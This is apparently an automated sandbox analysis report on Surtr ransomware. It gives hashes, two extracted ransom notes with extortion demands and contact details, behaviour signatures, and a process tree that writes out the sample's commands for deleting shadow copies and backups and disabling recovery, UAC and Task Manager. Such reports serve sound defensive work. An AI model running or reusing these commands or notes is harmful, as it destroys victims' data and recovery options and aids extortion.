Analysis
-
max time kernel
4294164s -
max time network
10s -
platform
windows7_x64 -
resource
win7-20220223-en -
submitted
02-03-2022 08:06
General
-
Target
Surtr.exe
-
Size
191KB
-
MD5
664cf36657bf55f20cac44505d3bbb2c
-
SHA1
a48f8089455201895757503255d0f573ce5d3c66
-
SHA256
4a3bd45ec4a4002ff69f941678b310e2c31bc9c8dc525fe203f6ef44258b0d35
-
SHA512
42a433048ee5770244ab9f1b1165c7fd4baa87f400036a086e40020dfcfcbb4806fce55622df0cf6c64846ab7e397c1735edbe4aac2e6d153097ae6d9400f735
Score
10/10
Malware Config
Extracted
Path
C:\ProgramData\Service\SURTR_README.txt
Ransom Note
What happened to your files?
Unfortunately, your server was compromised,
using a security hole in your server.
All your files are encrypted with a military algorithm .
in order to contact us you can email this address
Dec_youfile1986@mailfence.com
use this ID( jic101rxx5u76w ) for the title of your email.
if you weren't able to contact us within 24 hours please email :
Telegram id @Ransome_Decrypters
Only we can decrypt your files.
Please do not contact separate fraudulent sites.
You can use freeand even paid software on the Internet,
but it is uselessand will cause you to lose filesand timeand money.
Emails
Dec_youfile1986@mailfence.com
Extracted
Path
C:\ProgramData\Service\SURTR_README.hta
Ransom Note
SurtrRansomware
OOPS ALL YOUR IMPORTANT FILES HAVE BEEN ENCRYPTED AND STOLEN !!
Notice : There is only one way to restore your data read the boxes carefully!
Attention :
Do Not change file names. Do Not try to decrypt using third party softwares , it may cause permanent data loss . your files will be sold on the Dark Web after 15 days. Imagine 1 million hackers have all your information including files, IP, name and number and location and ...
Do not pay any money before decrypting the test files. You can use our 50% discount if you pay the fee within first 15 days of encryption . otherwise the price will be doubled. In order to warranty you , our team will decrypt 3 of your desired files for free.but you need to pay the specified price for the rest of the operation .
How To Decrypt :
Your system is offline . in order to contact us you can email this address Dec_youfile1986@mailfence.com use this ID (jic101rxx5u76w) for the title of your email . If you weren't able to contact us within 24 hours please email : Telegram id @Ransome_Decrypters If you didn't get any respond within 48 hours use this link (Not Available Now).send your ID and your cryptor name (SurtrRansomwareUserName) therefore we can create another way to contact you as soon as possible
Emails
Dec_youfile1986@mailfence.com
Signatures
-
Deletes NTFS Change Journal 2 TTPs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
-
UAC bypass 3 TTPs
-
Clears Windows event logs 1 TTPs
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
-
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
UPX packed file 4 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops startup file 3 IoCs
-
Adds Run key to start application 2 TTPs 8 IoCs
-
Drops desktop.ini file(s) 38 IoCs
-
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Interacts with shadow copies 2 TTPs 52 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Modifies registry class 5 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 16 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Surtr.exe"C:\Users\Admin\AppData\Local\Temp\Surtr.exe"1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c @echo off2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c chcp 4372⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\chcp.comchcp 4373⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB3⤵
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=401MB3⤵
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB3⤵
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=401MB2⤵
-
